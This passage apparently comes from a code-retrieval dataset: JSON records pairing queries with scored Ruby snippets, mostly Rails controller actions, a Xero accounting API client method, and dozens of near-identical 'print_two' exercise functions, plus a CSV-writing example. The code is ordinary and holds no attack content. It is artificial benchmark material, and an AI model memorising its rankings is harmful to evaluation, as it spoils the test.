"title": "" }, { "docid": "651def9d1161797c51916f148d0bf788", "score": "0.5007187", "text": "def update_or_create_manual_journals(xero_tenant_id, manual_journals, opts = {})\n data, _status_code, _headers = update_or_create_manual_journals_with_http_info(xero_tenant_id, manual_journals, opts)\n data\n end", "title": "" }, { "docid": "a135b6aecc9dc686d55bfde5fb8a55ff", "score": "0.49959424", "text": "def create\n @lesson = Lesson.new(params[:lesson])\n \n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render json: @lesson, status: :created, location: @lesson }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "212133fb76256f3a2b6975df52f97f53", "score": "0.49932426", "text": "def create\n @story.save\n\n respond_with(@sprint, @story)\n end", "title": "" }, { "docid": "c4b8ba4273b09ed53e57e2e3ebc0e16d", "score": "0.49845797", "text": "def post(options = {})\n request :post, options\n end", "title": "" }, { "docid": "0aa2dbd34453fc3fbf938cf317d90f5d", "score": "0.4984273", "text": "def create\n @exam = Exam.new(exam_params)\n if params[:pages]\n if @exam.save\n params[:pages]['image'].each do |p|\n @exam.pages.create!(:image => p, :exam_id => @exam.id)\n end\n exam_pdf_path = create_pdf(@exam)\n @exam.pdf = File.open(exam_pdf_path)\n if @exam.save\n File.delete(exam_pdf_path)\n redirect_to exams_path, notice: \"El examen \\\"#{@exam.name}\\\" se ha \n subido.\"\n else\n @exam.destroy\n render json: {\n success: false,\n errors: \"No fue posible guardar el archivo.\"\n }\n end\n else\n render \"new\"\n end\n else\n render json: {\n success: false,\n errors: \"Se debe adjuntar al menos una imagen.\"\n }\n end\n end", "title": "" }, { "docid": "e9d0913ae7a631948940122a0936d32e", "score": "0.498427", "text": "def create\n\n request = RestClient.post File.join(API_SERVER,\"rest-api/departments\"), { \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n redirect_to :action => :index\n end", "title": "" }, { "docid": "4571e86098a557e4e940a58f1915d2f7", "score": "0.49837995", "text": "def get_reference_manuals\n \t@manuals = ConsumerManual.where(:user_id => params[:user_id])\n \t@consumer_ref_manuals = []\n @manuals.each do |manual|\n @ref_manuals = Manual.where(:id => manual.manual_id)\n @ref_manuals.each do|ref_manu|\n @consumer_ref_manuals << {:id => ref_manu.id, :manual_name=> ref_manu.download_title, \n \t :manual_url => ref_manu.download_url, :create_date => ref_manu.created_at}\n end\n end \n end", "title": "" }, { "docid": "0553af0a78223d0456bde0a1f841d26a", "score": "0.498165", "text": "def create\n @user = current_user\n @guide = @user.guides.build(guide_params)\n\n respond_to do |format|\n if @guide.save\n format.html { redirect_to user_guide_path(id: @guide.permalink), notice: 'Guide was successfully created.' }\n format.json { render :show, status: :created, location: @guide }\n else\n format.html { redirect_to dashboard_path, alert: 'Unable to create guide due to missing or invalid name' }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bb570f46a93b6382d57efe5747f54e6", "score": "0.49708205", "text": "def create_manual_journals_with_http_info(xero_tenant_id, manual_journals, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountingApi.create_manual_journals ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling AccountingApi.create_manual_journals\"\n end\n # verify the required parameter 'manual_journals' is set\n if @api_client.config.client_side_validation && manual_journals.nil?\n fail ArgumentError, \"Missing the required parameter 'manual_journals' when calling AccountingApi.create_manual_journals\"\n end\n # resource path\n local_var_path = '/ManualJournals'\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'summarizeErrors'] = opts[:'summarize_errors'] if !opts[:'summarize_errors'].nil?\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'xero-tenant-id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(manual_journals) \n\n # return_type\n return_type = opts[:return_type] || 'ManualJournals' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, \"AccountingApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountingApi#create_manual_journals\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9bf4059427b97736f41fb5bc4e020bef", "score": "0.4967792", "text": "def create\n @auto_model = AutoModel.new(params[:auto_model])\n\n respond_to do |format|\n if @auto_model.save\n format.html { redirect_to @auto_model, notice: 'Auto model was successfully created.' }\n format.json { render json: @auto_model, status: :created, location: @auto_model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @auto_model.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44c81a48ed4cdba07b929ff8ed339700", "score": "0.4967139", "text": "def create\r\n @guideline_step = GuidelineStep.new(params[:guideline_step])\r\n\r\n respond_to do |format|\r\n if @guideline_step.save\r\n format.html { redirect_to @guideline_step, notice: 'Guideline step was successfully created.' }\r\n format.json { render json: @guideline_step, status: :created, location: @guideline_step }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @guideline_step.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "b7017c495270067e855a109ba9c90083", "score": "0.49598834", "text": "def new\n @manual_variant = Manual::Variant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manual_variant }\n end\n end", "title": "" }, { "docid": "a4bc0ab5ab66c562139d69c57da550b4", "score": "0.49588266", "text": "def create\n prepare_referral\n @referral.status = :sent\n\n respond_to do |format|\n if @referral.save\n send_email_to_doctor(@referral.dest_practice)\n format.json { render json: @referral, status: :created }\n else\n format.json { render json: @referral.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7deef3a593b0709b945f4a5a8b74b850", "score": "0.4958572", "text": "def destroy\n @manual.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "305ceba6d2acc324aa545f179a6acc49", "score": "0.49500403", "text": "def create\n \t@guide = Guide.find(params[:guide_id])\n @guide_section = GuideSection.new(params[:guide_section])\n\n respond_to do |format|\n if @guide_section.save\n format.html { redirect_to [@guide, @guide_section], notice: \"\\\"#{@guide_section.title}\\\" was successfully created.\" }\n format.json { render json: [@guide, @guide_section], status: :created, location: [@guide, @guide_section] }\n else\n format.html { render action: \"new\" }\n format.json { render json: [@guide, @guide_section].errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e86ac15faf7c71470a827d5d15432eb9
first we define the "print_two" method, then we tell it we want args which is like ARGV but for functions
[ { "docid": "0fd5ec54b08d4a3d80a8ca8f50106878", "score": "0.816983", "text": "def print_two(*args)\n\targ1, arg2 = args\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" } ]
[ { "docid": "24a980e1a8884629d649d39e3b07df7c", "score": "0.8722232", "text": "def print_two(arg1, arg2) #*args - ARGV for functions\n\t#arg1, arg2 = args\n\tputs \"Arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "cf111edccdd55be5d6328ac617a17ae8", "score": "0.8642941", "text": "def print_two(*args) #We want *args - similar to ARGV but for functions\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "8a8d6f01eb1e42215dd5fc200f4d23d2", "score": "0.83470297", "text": "def print_two(*args) # On this line we give the funcion name (print_two), then we tell\n\t# it we want *args, which is a lot like the argv parameter but for functions\n# Now we start indenting, this line unpacks the arguments, like we did with scripts\n arg1, arg2 = args\n # To demonstrate how it works we print these arguments out, just like in a script\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "fd9009b5a7fcae5c6901163bec26797d", "score": "0.8333083", "text": "def print_two(*args)\n\t# unpacks args, like with ARGV\n\targ1, arg2 = args\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "4e5edc6e0f2305da2c870ceae09b3e00", "score": "0.8319048", "text": "def print_two(*args) # *args (asterisk args), which is a lot like your argv parameter\n# ....but for functions. asterisk tells ruby to take all arguments to the fuction and put them\n# in args as a list, it's like argv that you've been using, but for functions.\n# it's not normally used too often unless specifically needed.\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "8fa7c3ab541adba8a49dd6fc112d68c4", "score": "0.8275252", "text": "def print_two(*args)\n #this line unpacks the arguments into variables to use\n #this is not necessary if you split and name the arguments in the def line\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "165a3d8dc4e1b758abd17d479badbf5c", "score": "0.8238795", "text": "def print_two(*args) # * tells ruby to take in all the arguments to the function and then put them in args as a list\r\n\r\n\targ1, arg2 = args\r\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "2b4492892cd60ece972d8a56e4d96e14", "score": "0.8187246", "text": "def print_two(*args) \n\targ1, arg2 = args \n\tputs \"arg1: #{arg1}, arg2: #{arg2}\" \nend", "title": "" }, { "docid": "43ec0ef6b712e783f8d1c9790f098113", "score": "0.816636", "text": "def print_two(*args)\n\targ1, arg2 = args \n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "d8f02bba110515f598de20d68a98c9c3", "score": "0.8096935", "text": "def print_two(*args)\n\t# sets arg1 & arg2 as arguments\n\targ1, arg2 = args\n\t# prints string including arg1 and arg2\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\n\t# ends the function\nend", "title": "" }, { "docid": "edc83049deff76f20e4cd23485e81ab5", "score": "0.80781573", "text": "def print_two(*args) #def for define, and we give def a function name\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "b1c701b1a9ccab1d7bf4bad3e6fd0da8", "score": "0.8062375", "text": "def print_two(*args)\r\n arg1, arg2 = args\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "b1c701b1a9ccab1d7bf4bad3e6fd0da8", "score": "0.8062375", "text": "def print_two(*args)\r\n arg1, arg2 = args\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "b1c701b1a9ccab1d7bf4bad3e6fd0da8", "score": "0.8062375", "text": "def print_two(*args)\r\n arg1, arg2 = args\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "2f26465f0745593ca6dc587049888132", "score": "0.80574906", "text": "def print_two(*args)\r\n args1, args2 = args\r\n puts \"args1: #{args1}, args2: #{args2}\"\r\nend", "title": "" }, { "docid": "fc4fc78bbb26497a0e758b0bc7687813", "score": "0.8046703", "text": "def print_two(*args)\n # we start to unpack our arguments\n arg1, arg2 = args\n # we print these arguments out\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "074c355302988e34487d9df7bcdf1bb0", "score": "0.80285215", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"Arg 1: #{arg1}, arg2: #{arg2} \"\nend", "title": "" }, { "docid": "f8c47a6beb9e522091fb75e231ef3ce3", "score": "0.79990953", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg 2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "646ad7117928cc308b9965fd9064cd95", "score": "0.7993474", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "06c2d05523386ae08588500a352cd300", "score": "0.79913026", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "06c2d05523386ae08588500a352cd300", "score": "0.79913026", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "06c2d05523386ae08588500a352cd300", "score": "0.79913026", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "06c2d05523386ae08588500a352cd300", "score": "0.79913026", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "f8282b75da37fcc8c4b2abe1c64d29de", "score": "0.79821694", "text": "def print_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, args: #{arg2}\"\nend", "title": "" }, { "docid": "8cbcef8872d890125ed37431b06fc29a", "score": "0.7980531", "text": "def print_two(*args)\n\targs.each do |arg|\n\t\tprint \"#{arg} \"\n\tend\n\tprint \"\\n\"\nend", "title": "" }, { "docid": "cfdfc71ff9df9af9a40a1d2bb0548e58", "score": "0.79788494", "text": "def print_two(*args) \n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "ede04c7dc4473fb7ad7a2331bdae2641", "score": "0.79496205", "text": "def print_two(*args)\n arg1, arg2, = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\n end", "title": "" }, { "docid": "550c28d8d63bdb1382cdfe7d1a49939c", "score": "0.7932734", "text": "def print_two(*args) \n # The line under unpacks the arguments \n arg1, arg2 = args # Packing arguments is harder way to work with\n # Now we can print arguments\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "1340e492d00ecf163151f46edf80365a", "score": "0.79308474", "text": "def print_two(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "3f7b68f6acb7f48c2b31651693112965", "score": "0.7926362", "text": "def print_two(*args)\n arg1, arg2 = args # unpacks arguments\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "9406f77292248cc4914215a77116c629", "score": "0.78871703", "text": "def print_two(*args)\n# *args = args 1 and args 2\narg1,arg2=args\n# print the arguments value which passsed the argumments by (print_two)\nputs \"arg1: #{arg1}, arg2: #{arg2}\"\n# ends the statement of print_two\nend", "title": "" }, { "docid": "b709ef5b92908d8958d89dbe1b74e194", "score": "0.7867602", "text": "def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\n end", "title": "" }, { "docid": "ca5c6acfee1280e532b3690874e17040", "score": "0.7867387", "text": "def print_two(*args)\n argl, arg2 = args\n puts \"argl: #{argl}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "04277b58eb4e7110242a7853431469f7", "score": "0.78507745", "text": "def print_two_again(arg1, arg2)\n print \"arg1: #{arg1}, #{arg2}\"\n end", "title": "" }, { "docid": "43820ccdaaacedad429aa0d1af0402c1", "score": "0.782657", "text": "def puts_two(*args)\n# notice that after definition, tab with 2 spaces and unpack at the first line\n# oh! unpack! that's it! that's why we use splat!\n# well, sometimes you just need to look the entire script to understand the real reason.\n# so we unpack the *args to separate parameters and let the rest function to use.\n\targ1, arg2 = args\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "4338435053e7fb3af5ac52a59a624646", "score": "0.7816671", "text": "def print_two(*args)\n # unpacks the argument\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "b01a85d781e4295fc90fa3e863aa710d", "score": "0.7800039", "text": "def print_two_again(arg1, arg2)\n# Defines a function that repeats 'print_two' function w/2 args\n\tputs \"\\t>> start the function 'print_two_again' \"\n# Prints msg showing function start point\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\n# Prints to screen the 2 arguments specified\t\n\tputs \"\\t<< end the function 'print two again' \"\n\tputs \"\\n\"\nend", "title": "" }, { "docid": "60a9e802909f4ac26b8254f765131957", "score": "0.77993405", "text": "def print_two(*args)\n #for *args https://stackoverflow.com/questions/3701264/passing-a-hash-to-a-function-args-and-its-meaning\n #basically, *args can intake any number of arguments, and store it as an array\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "eb845d3785f3d427232cd47544c106a4", "score": "0.7790745", "text": "def print_two_again(args1, args2)\r\n puts \"args1 #{args1}, args2: #{args2}\"\r\nend", "title": "" }, { "docid": "7820714cc2d05d599fe98a9e8f281a67", "score": "0.77782035", "text": "def print_two (*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a123b3fd4198afba71c55c3a28e74a35", "score": "0.7768992", "text": "def print_two_again(arg1,arg2)\n# print the arguments value which passsed the argumments by (print_two)\nputs \"arg1 : #{arg1}, arg2 : #{arg2}\"\n# ends the statement of print_two\nend", "title": "" }, { "docid": "f4d7f0d019d46eb5b306290dbd2f4845", "score": "0.7709374", "text": "def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, args2: #{arg2}\"\nend", "title": "" }, { "docid": "0126dca3e8b8dd6972211cba502fe298", "score": "0.7707621", "text": "def puts_two(*args) \n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "32998671da0ce2998d240bc1f859872e", "score": "0.77031654", "text": "def print_two_again(arg1, arg2) # This is easier way to deal with arguments in Ruby \n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "f08febb9e7537ad27bc5de9f0f3d9ac5", "score": "0.76973456", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\n end", "title": "" }, { "docid": "513160fcedda025a7632b2d496df1806", "score": "0.7687774", "text": "def print_two_again(arg1, arg2) # this one just takes two parameters\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a34e21a5864e0076e50cd26a738e2597", "score": "0.7664243", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a4f44192f64c5ddbb5d3c542c7093d5a", "score": "0.7658189", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a4f44192f64c5ddbb5d3c542c7093d5a", "score": "0.7658189", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a4f44192f64c5ddbb5d3c542c7093d5a", "score": "0.7658189", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a4f44192f64c5ddbb5d3c542c7093d5a", "score": "0.7658189", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "83c4cd66fb47b67c8a1012970c02ab63", "score": "0.7656039", "text": "def print_two_again(arg1,arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "136fe676059780a808ab171ad885b3c0", "score": "0.76441145", "text": "def print_two_again(arg1, arg2)\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "5ccd48e74b01a3f6ab00918e68b0089c", "score": "0.7635567", "text": "def print_two_again(arg1, arg2)\n print_two(arg1, arg2)\nend", "title": "" }, { "docid": "33b579d8e9dcd402e9fc0ba44ba01cf5", "score": "0.7625697", "text": "def puts_two(*args)\n arg1,arg2=args\n puts\"arg1:#{arg1},arg2:#{arg2}\" \nend", "title": "" }, { "docid": "53a4fd69235e62792ccf382d4b0ddbb7", "score": "0.76099855", "text": "def print_two_again(arg1, arg2)\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "53a4fd69235e62792ccf382d4b0ddbb7", "score": "0.76099855", "text": "def print_two_again(arg1, arg2)\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "53a4fd69235e62792ccf382d4b0ddbb7", "score": "0.76099855", "text": "def print_two_again(arg1, arg2)\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "53a4fd69235e62792ccf382d4b0ddbb7", "score": "0.76099855", "text": "def print_two_again(arg1, arg2)\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "2ac3c8fb91cc978cf03fa71c5e0855b5", "score": "0.7598661", "text": "def print_two_again(arg1,arg2)\r\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "0b4f7a78b38204b967bce7f65bfe1820", "score": "0.7588357", "text": "def print_two_again(arg1, arg2)\n puts \"Arg 1: #{arg1}, arg2: #{arg2} \"\nend", "title": "" }, { "docid": "e360c07c810845583326603ea4d1bf21", "score": "0.75781196", "text": "def print_two_again(arg1, arg2)\r\n\tputs\"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "253fc5b9184eac63ed9bae0bc09584f7", "score": "0.7560565", "text": "def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}. arg2: #{arg2}\"\nend", "title": "" }, { "docid": "a713e4cb4e8586e4dc28165d4c45cc60", "score": "0.755726", "text": "def print_two_again(arg1,arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "2f47ac4fb5949b7bfaad8abc55146a9a", "score": "0.755676", "text": "def print_two_again(arg1,arg2)\n puts \"arg1: #{arg1} arg2: #{arg2}\"\nend", "title": "" }, { "docid": "9f155e9ac7f2514e5d1042490157d441", "score": "0.7555975", "text": "def print_two_again(arg1, arg2)\r\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\r\nend", "title": "" }, { "docid": "0394f13af377655ccda29b0e11ab9e9c", "score": "0.75380266", "text": "def print_two_again(arg1,arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "659c91730d6b86b54ca86e98f4a831c6", "score": "0.7537985", "text": "def print_two(thing, another_thing)\r\n\tputs \"thing 1: #{thing}, thing 2: #{another_thing}\"\r\nend", "title": "" }, { "docid": "e4653d151a3d93a41e5b5a89cdb23414", "score": "0.753025", "text": "def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend", "title": "" }, { "docid": "1ba937df780632a4993a4929870412da", "score": "0.7530018", "text": "def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg 2: #{arg2}\"\nend", "title": "" }, { "docid": "d12707f71d620962c1b1a73b01b3cfc2", "score": "0.7528748", "text": "def print_two_args(*args)\n arg1, arg2 = args\n puts \"arg1: (#{arg1}), arg2: (#{arg2})\"\nend", "title": "" } ]
85740de2dc8903969a9ee6b5981ff129
'csv' file is created with attributes of object
[ { "docid": "19de966707ca7401e61ee5d9773e8404", "score": "0.71004766", "text": "def create_csv\n\t\tCSV.open(@file, \"wb\") do |csv|\n \t\t@people_array.each do |person|\n \t\t csv << [person.first_name, person.last_name, person.email, person.phone, person.created_at]\n \t\tend\n\t\tend\n\tend", "title": "" } ]
